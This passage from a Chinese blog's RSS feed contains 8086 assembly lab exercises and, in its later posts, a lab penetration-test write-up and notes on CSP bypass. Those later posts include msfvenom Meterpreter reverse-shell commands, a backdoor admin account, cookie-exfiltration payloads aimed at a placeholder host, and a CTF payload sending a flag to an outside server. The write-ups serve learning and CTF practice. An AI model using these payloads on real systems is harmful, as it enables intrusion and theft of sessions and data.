&lt;p&gt;刚加载进内存中时，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847094408.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时看到 ds 寄存器的内容为 &lt;code&gt;075AH&lt;/code&gt; ,所以程序的物理地址就是 ds+10h ,正好符合&lt;br /&gt;
在int21 时需要使用 p命令执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847103427.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;实验3 编译链接跟踪&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;assume cs:codesg
codesg segment
	mov ax,2000H  ; AX=2000H
	mov ss,ax     ; SS=2000H
	mov sp,0      ; SP=0
	add sp,10     ; SP=10
	pop ax        ; SP=000CH, AX=076AH
	pop bx        ; SP=000EH, BX=7206H
	push ax       ; SP=000CH
	push bx       ; SP=000AH 
	pop ax        ; AX=7c06H
	pop bx        ; BX=076AH
	mov ax,4c00H
	int 21H
codesg ends
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PSP 的头两个字节是CD20,用debug加载，查看PSP的内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847116112.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>汇编从入门到入土五</title><link>https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%BA%94/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%BA%94/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;课后实验&lt;/h2&gt;
&lt;h3&gt;实验一&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code,ds:data,ss:stack

data segment
	dw 0123h,0456h,0789h,0abch,0defh,0fedh,0cbah,0987h
data ends

stack segment
	dw 0,0,0,0,0,0,0,0
stack ends

code segment

start:
	mov ax,stack
	mov ss,ax
	mov sp,16
	
	mov ax,data
	mov ds,ax
	
	push ds:[0]
	push ds:[2]
	
	pop ds:[2]
	pop ds:[0]
	
	mov ax,4c00h
	int 21h
	
code ends
end start
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;程序返回前,data段中的数据如下：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1585098727870.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序返回前，cs = 076C, ss=076B,ds=076A&lt;/li&gt;
&lt;li&gt;code段地址如果为X，data段地址为 X-32, stack段地址为X-16&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;实验二&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code,ds:data,ss:stack

data segment
	dw 0123h,0456h
data ends

stack segment
	dw 0,0
stack ends

code segment

start:
	mov ax,stack
	mov ss,ax
	mov sp,16
	
	mov ax,data
	mov ds,ax
	
	push ds:[0]
	push ds:[2]
	
	pop ds:[2]
	pop ds:[0]
	
	mov ax,4c00h
	int 21h
code ends
end start
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;执行程序，返回前，data段中的数据为多少&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1585099444358.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序返回前，cs=076C,ss=076B,ds=076A&lt;/li&gt;
&lt;li&gt;code段地址为X，data段地址为 X-32, stack段地址为 X- 16&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;实验五&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code

a segment
	db 1,2,3,4,5,6,7,8
a ends

b segment
	db 1,2,3,4,5,6,7,8
b ends

c segment
	db 0,0,0,0,0,0,0,0
c ends

code segment

start:
	mov ax,a
	mov ds,ax
	
	mov ax,b
	mov ss,ax
	
	mov ax,c
	mov es,ax
	
	mov cx,8
	mov bx,0
	mov dl,0
s:
	add dl,ds:[bx]
	add dl,ss:[bx]
	mov es:[bx], dl
	mov dl,0
	inc bx
	loop s
	
	mov ax,4c00h
	int 21h
code ends
end start
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将a和b中的数据求和，放到c里面&lt;/p&gt;
&lt;p&gt;执行完成后放在 es 中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1585101726819.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;实验六&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code

a segment 	
	dw 1,2,3,4,5,6,7,8,9,0ah,0bh,0ch,0dh,0eh,0fh,0ffh
a ends

b segment
	dw 0,0,0,0,0,0,0,0
b ends
code segment

start:
	mov ax,b
	mov ss,ax
	mov sp,10h
	
	mov ax,a
	mov ds,ax
	
	mov cx,8
	mov bx,0
s:
	mov dx,ds:[bx]
	push dx
	inc bx
	inc bx
	loop s
	mov ax,4c00h
	int 21h
code ends

end start
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将a中的前8个字型数据逆序压入到b中，(注意字型数据是小端存储的)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1585102355893.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>汇编从入门到入土四</title><link>https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E5%9B%9B/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E5%9B%9B/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;BX 寄存器在内存寻址的作用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847161633.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax, 2000H
mov ds,ax
mov bx,1000H
mov ax,[bx]  ; AX=00BEH
inc bx
inc bx
mov [bx],ax  ; BX=1002
inc bx
inc bx
mov [bx],ax  ; BX=1004
inc bx
mov [bx],al  ; BX=1005
inc bx       
mov [bx],al  ; BX=1006
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后得到的内存分布&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847171666.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;loop指令的使用&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code
code segment
	mov ax,2
	mov cx,11
s:  add ax,ax
	loop s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;cx 作为循环的计数器&lt;/p&gt;
&lt;p&gt;计算乘法，123*236&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code
code segment
	mov ax,0
	mov cx,236
s:  add ax,123
	loop s
	mov ax,4c00h
	int 21h
code ends
end
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：在汇编程序中，数据不能以字母开头&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;g&lt;/code&gt; 指令可以直接执行到指定的位置&lt;/p&gt;
&lt;p&gt;&lt;code&gt;p&lt;/code&gt; 会自动重复直到 &lt;code&gt;cx == 0&lt;/code&gt; 为止&lt;/p&gt;
&lt;h2&gt;Debug和masm对指令的不同处理&lt;/h2&gt;
&lt;p&gt;在汇编源程序中，我们需要这么写&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax, 2000h
mov ds, ax
mov al, ds:[0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果没有指定段寄存器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov al,[0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;则 &lt;code&gt;masm&lt;/code&gt; 理解成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov al, 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然如果是寄存器的话&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov al, [bx]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;则段寄存器默认存在是 ds&lt;/p&gt;
&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;计算 &lt;code&gt;ffff:0 ~ ffff:b&lt;/code&gt; 单元中的数据的和，结果存储在 dx 中&lt;/p&gt;
&lt;p&gt;由于每一个数据都是字节的，不能直接加到16位的寄存器dx中，那么我们是不是可以用dh和dl呢，但是这样可能导致进位丢失&lt;/p&gt;
&lt;p&gt;所以我们需要将8位的数据赋值到16位寄存器然后再与dx相加&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code
code segment
    mov ax,0ffffh ; 注意数字不能以字母开头
    mov ds,ax
    mov bx,0 ;首先让 ds:bx 指向 ffff:0

    mov dx,0
    mov cx,12 ;进行12次循环

s:  mov al,[bx]
    mov ah,0  ;不要忘记给ah置0！
    add dx,ax
    inc bx
    loop s

    mov ax,4c00h
    int 21h
code ends
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;如何使用内存空间&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code
code segment
	mov ax,0
	mov ds,ax
	mov ds:[26h], ax
	mov ax,4c00h
	int 21h
code ends
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序出问题了，无法继续运行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847197500.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;DOS方式下，一般情况，&lt;code&gt;0:200 ~ 0:2ff&lt;/code&gt; 空间中没有系统或其他程序的数据或代码&lt;/p&gt;
&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;将内存 ffff:0 ~ ffff:b 单元中的数据复制到 0:200 ~ 0:20b 单元中&lt;/p&gt;
&lt;p&gt;可以将两个段的地址保存到两个寄存器中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code
code segment
	mov ax,0ffffh
	mov ds,ax 
	
	mov ax,0020h
	mov es,ax
	
	mov bx,0
	
	mov cx,12

s:  mov dl,[bx]
	mov es:[bx],dl
	inc bx
	loop s

	mov ax,4c00h
	int 21h
code ends
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;实验&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;编程，向内存 0:200 ~0:23F 依次传送数据 0 ~63(3FH)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code

code segment
	mov ax,0
	mov ds,ax
	mov bx,200h
	mov cx,40h
	mov ax,0
s:  mov [bx],ax
	inc ax
	inc bx
	loop s
	mov ax, 4c00h
	int 21h
code ends

end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847221964.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;编程，向内存 0:200~0:23F 一次传递数据 0~63(3FH),程序中只能使用9条指令&lt;br /&gt;
如果只能用9条指令，那么可以这么改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code
code segment
	mov ax,0
	mov ds,ax
	mov bx,0
	mov cx,40h
s:  mov [bx+200h],bx ;去掉了 ax，只用bx一个寄存器就可以做到
	inc bx
	loop s
	mov ax, 4c00h
	int 21h
code ends
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行结果&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847232334.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code
code segment
	mov ax,cs
	mov ds,ax
	mov ax,0020h
	mov es,ax
	mov bx,0
	mov cx,20h
s:  mov al,[bx]
	mov es:[bx],al
	inc bx
	loop s
	mov ax,4c00h
	int 21h
code ends
end
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847251042.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是可以推测出 CX=17h&lt;/p&gt;
&lt;p&gt;完整代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code
code segment	
	mov ax,cs
	mov ds,ax
	mov ax,0020h
	mov es,ax
	mov bx,0
	mov cx,17h
s:  mov al,[bx]
	mov es:[bx],al
	inc bx
	loop s
	mov ax,4c00h
	int 21h
code ends
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847262812.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到成功复制了&lt;/p&gt;
</content:encoded></item><item><title>漏洞挖掘实验</title><link>https://rayepeng.net/posts/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E5%AE%9E%E9%AA%8C/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E5%AE%9E%E9%AA%8C/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;实验拓扑如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583830717716.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583830733667.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务一 寻找漏洞主机&lt;/h2&gt;
&lt;p&gt;扫描存活主机(虽然知道了但还是扫一下)&lt;/p&gt;
&lt;p&gt;注意本机ip是192.168.1.2&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583830890209.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;-F 选项快速扫描一下其他主机&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583830929741.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583830945755.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;既然是ftp，那么就锁定192.168.1.3&lt;/p&gt;
&lt;p&gt;提示了搜索vsftpd (靶机上搜索太慢了，我在自己机器上搜索的)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583831162349.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后使用这个exploit去打就行了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583831194224.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到进去就是root权限hhhh&lt;/p&gt;
&lt;p&gt;然后还要搜索 1.key 这个文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find  / -name 1.key
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583831225885.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;读一下就好了&lt;/p&gt;
&lt;h2&gt;任务二 使用nikto、crunch和burpsuite进行网站渗透和控制&lt;/h2&gt;
&lt;p&gt;此时的目标转向了 192.168.1.4 (192.168.1.3都拿到root了)&lt;/p&gt;
&lt;p&gt;打开网站是 Cms made Simple 简称cms cms&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583831499729.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后台地址 &lt;code&gt;/admin/login.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;先设置一个代理&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583832214527.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后抓个包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583832242295.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于密码是 &lt;code&gt;admin&lt;/code&gt; 加上三位数字，如果想用 crunch 生成也行，直接用burp也行&lt;/p&gt;
&lt;p&gt;爆破成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583832729565.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入到网站后台&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583832774511.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务三 获取webshell权限并拿到目标及开放的远程桌面端口号&lt;/h2&gt;
&lt;p&gt;漏洞点在这&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583833127686.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Run一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583833240668.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好那我们这里为了避免网页卡顿。用msf生成一个shell.php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f raw -o shell.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后复制到框框里运行一下&lt;/p&gt;
&lt;p&gt;同时msf进行监听&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583833748737.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功弹到shell。之后再使用msf生成shell.exe&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f exe -o shell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传，重新弹一个shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583833790609.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ok这时候就能获得真正的meterpreter了&lt;/p&gt;
&lt;p&gt;查看一下监听端口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583833821793.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随便猜一个吧2333&lt;/p&gt;
&lt;h2&gt;任务四 向目标主机添加用户并控制&lt;/h2&gt;
&lt;p&gt;这个步骤和上一个实验比较相似，就不用细说了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net user hacker Beijing123 /add
net localgroup administrators hacker /add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;远程登陆之后，给文件添加一个用户即可&lt;/p&gt;
&lt;p&gt;最后&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583833940934.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>绕过CSP</title><link>https://rayepeng.net/posts/%E7%BB%95%E8%BF%87csp/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E7%BB%95%E8%BF%87csp/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基本概念&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;default-src&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;&apos;self&apos; cdn.example.com&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;定义资源默认加载策略&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;script-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;self&apos; js.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义 JS 加载策略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;style-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;self&apos; css.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义 CSS 加载策略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;img-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;self&apos; img.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义图片加载策略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;connect-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;self&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义 Ajax、WebSocket 等加载策略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;font-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;font.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义 Font 加载策略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;object-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;self&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义 、、 等引用资源加载策略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;media-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;media.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;frame-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;self&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义 Frame 加载策略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sandbox&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;allow-forms allow-scripts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;对页面的操作应用限制，包括阻止弹出窗口，阻止插件和脚本的执行以及强制执行同源策略。可以不设置sanbox的值使得所有限制启用，或者手动启用以下属性 : &lt;code&gt;allow-forms&lt;/code&gt; &lt;code&gt;allow-same-origin&lt;/code&gt; &lt;code&gt;allow-scripts&lt;/code&gt; &lt;code&gt;allow-popups&lt;/code&gt;, &lt;code&gt;allow-modals&lt;/code&gt;, &lt;code&gt;allow-orientation-lock&lt;/code&gt;, &lt;code&gt;allow-pointer-lock&lt;/code&gt;, &lt;code&gt;allow-presentation&lt;/code&gt;, &lt;code&gt;allow-popups-to-escape-sandbox&lt;/code&gt;, and &lt;code&gt;allow-top-navigation&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;report-uri&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/some-report-uri&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;指定浏览器报告策略错误的URL，可以在HTTP头中添加&lt;code&gt;-Report-Only&lt;/code&gt; 来指示浏览器只报告不阻断&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;child-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;self&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;child-src指令管理了套嵌浏览的部分（类似于iframe、frame标签）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;form-action&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;self&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义了form表单中action的范围&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;frame-ancestors&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;none&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义&lt;code&gt;&amp;lt;frame&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;embed&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;加载策略. 直接设置&lt;code&gt;‘none’&lt;/code&gt; 几乎等于设置了&lt;code&gt;X-Frame-Options: DENY&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plugin-types&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;application/pdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置有效的MIME类型&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;CSP绕过&lt;/h2&gt;
&lt;h3&gt;使用CDN绕过&lt;/h3&gt;
&lt;p&gt;一般来说，前端会用到许多的前端框架和库，可能会引用其他CDN上的JS框架，如果CDN上存在一些低版本的框架，就可能存在绕过CSP的风险&lt;/p&gt;
&lt;p&gt;案例中hackmd中CSP引用了cloudflare.com CDN服务，于是orange师傅采用了低版本的angular js模板注入来绕过CSP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src &apos;self&apos;; script-src &apos;unsafe-eval&apos; https://cdnjs.cloudflare.com;&quot;&amp;gt;
&amp;lt;!-- foo=&quot;--&amp;gt;
&amp;lt;script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js&amp;gt;
&amp;lt;/script&amp;gt;
&amp;lt;div ng-app&amp;gt;
    {{constructor.constructor(&apos;alert(document.cookie)&apos;)()}}
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/hackmdio/codimd/pull/1112/commits/067cfe2d1eedc5a58e5548785858e38fbaa0e84b&quot;&gt;修复&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://paper.seebug.org/855/&quot;&gt;orange师傅的文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;利用条件:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CDN服务商存在某些低版本的js库&lt;/li&gt;
&lt;li&gt;此CDN服务商在CSP白名单中&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;location.href&lt;/h3&gt;
&lt;p&gt;通过页面跳转功能来实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;location.href = &quot;vps_ip:xxxx?&quot;+document.cookie
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;link标签绕过(比较老了)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- firefox --&amp;gt;
&amp;lt;link rel=&quot;dns-prefetch&quot; href=&quot;//${cookie}.vps_ip&quot;&amp;gt;

&amp;lt;!-- chrome --&amp;gt;
&amp;lt;link rel=&quot;prefetch&quot; href=&quot;//vps_ip?${cookie}&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;带外数据的写法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var link = document.createElement(&quot;link&quot;);
link.setAttribute(&quot;rel&quot;, &quot;prefetch&quot;);
link.setAttribute(&quot;href&quot;, &quot;//vps_ip/?&quot; + document.cookie);
document.head.appendChild(link);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用条件：&lt;/p&gt;
&lt;p&gt;k可以执行任意的js脚本，但是无法带外数据&lt;/p&gt;
&lt;h3&gt;iframe绕过&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;当一个同源站点，同时存在两个页面，其中一个有CSP保护的A页面，另一个没有CSP保护B页面，那么如果B页面存在XSS漏洞，我们可以直接在B页面新建iframe用javascript直接操作A页面的dom，可以说A页面的CSP防护完全失效&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;jsonp绕过&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/google/csp-evaluator/tree/master/whitelist_bypasses&quot;&gt;收集&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;CSP绕过实例&lt;/h2&gt;
&lt;h3&gt;BSidesSF 2020 csp-1&lt;/h3&gt;
&lt;p&gt;csp如下，&lt;code&gt;script-src&lt;/code&gt; 支持 data&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;content-security-policy: 
    script-src &apos;self&apos; data:; 
    default-src &apos;self&apos;; 
    connect-src *; 
    report-uri /csp_report
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以使用 &lt;code&gt;fetch&lt;/code&gt; (js实在是不熟悉)&lt;/p&gt;
&lt;p&gt;payload-1&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;data:,fetch(&apos;/csp-one-flag&apos;).then(x=&amp;gt;x.text()).then(x=&amp;gt;location=&apos;http://rwx.kr/?&apos;+escape(x))&quot;&amp;gt;
